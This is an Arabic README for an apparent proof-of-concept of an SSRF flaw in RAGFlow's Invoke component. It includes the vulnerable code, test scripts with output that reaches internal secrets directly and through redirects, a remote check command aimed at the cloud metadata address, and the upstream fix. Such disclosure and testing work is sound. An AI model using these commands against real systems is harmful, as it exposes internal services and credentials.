
إثبات المفهوم لـ CVE-2026-75898، وهو SSRF في مكوّن Invoke الخاص بـ RAGFlow. يوضّح الثغرة باستخدام المصدر غير المعدّل، ويتضمّن اختبارات E2E، ومقارنة الإصلاح، وإعادة إنتاج قائمة على Docker للاختبار الأمني المصرّح به.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| تم الإصلاح في | v0.26.3 |
| التزامات الإصلاح | c4fe68e, e16d1a0 |
| مراجع المشكلات | infiniflow/ragflow#15425, #18280 |
| النشرة الأمنية | VulnCheck |
في agent/component/invoke.py من الإصدار v0.26.2، يقوم مكوّن Invoke ببناء عنوان URL للطلب من قوالب متغيرات يوفّرها المستخدم ولا يجري أي تحقق من المضيف الذي تم حله:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
يصل هذا العنوان إلى requests.get/post/put في _send_request(). نظرًا لأن allow_redirects يُترك على القيمة الافتراضية لـ requests (True)، يمكن للمهاجم:
url الخاص بـ Invoke إلى عنوان داخلي (127.0.0.1, 169.254.169.254, نطاقات RFC1918، لا يوجد تثبيت للمضيف الذي تم حله)، أويضيف الإصلاح assert_url_is_safe() + pin_dns() ويفرض allow_redirects=False.
على عكس إعادة التنفيذ "الشبيهة"، يقوم هذا المستودع بتشغيل الكود المصدري غير المعدل v0.26.2 للمكوّن المعرض للثغرة:
target/invoke_v0.26.2.py — نسخة حرفية من agent/component/invoke.py من وسم v0.26.2.e2e/test_genuine_ssrf.py — يحمّل هذا الملف الحقيقي خلف وحدات استيراد رقيقة (لا يستبدل الكعب إلا الواردات غير ذات الصلة: ComponentBase, مزخرف timeout و HtmlParser — لا يتم لمس أي من منطق مسار SSRF) ويثبت أن المكوّن يصل إلى خدمة داخلية مباشرة وعبر سلسلة إعادة توجيه.e2e/test_fix_guard.py — يطبق الحارس من المنبع (assert_url_is_safe, allow_redirects=False) على نفس الملف تمامًا ويُظهر أن الطلبات محظورة.تم التحقق بثلاث طرق مستقلة:
e2e/test_genuine_ssrf.py يدفع الكود المصدري غير المعدل target/invoke_v0.26.2.py ضد خوادم مختبرية على الحلقة المحلية — تم تأكيد SSRF.e2e/test_fix_guard.py يطبق حارس المنبع على نفس الملف — تم الحظر.v0.26.2 (infinity+mysql+minio+valkey) عبر docker compose؛ عقدة Invoke في تدفق وكيل حقيقي جلبت INTERNAL-DB-SECRET:dbpassword=SuperSecret123 من منفذ مضيف داخلي. راجع LAB_DEMO.md للأدلة الحرفية.cd e2e
python3 test_genuine_ssrf.py # يجب أن يطبع SSRF confirmed (معرض للثغرة)
python3 test_fix_guard.py # يجب أن يطبع BLOCKED (سلوك مُصلح)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
يتطلب رمز جلسة مصادقًا عليه (يعمل Invoke داخل تدفق وكيل).
python3 poc.py --poc # اختبار E2E محلي
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke الخاصة بالوكيل بقائمة مسموح بها.تم الإصلاح في RAGFlow v0.26.3 (أغسطس 2026). تم إعادة بناء هذا الـ PoC بشكل مستقل من النشرة العامة والتزامات الإصلاح لأغراض الاختبار الأمني المصرح به والتعليم فقط. غير تابع لـ InfiniFlow.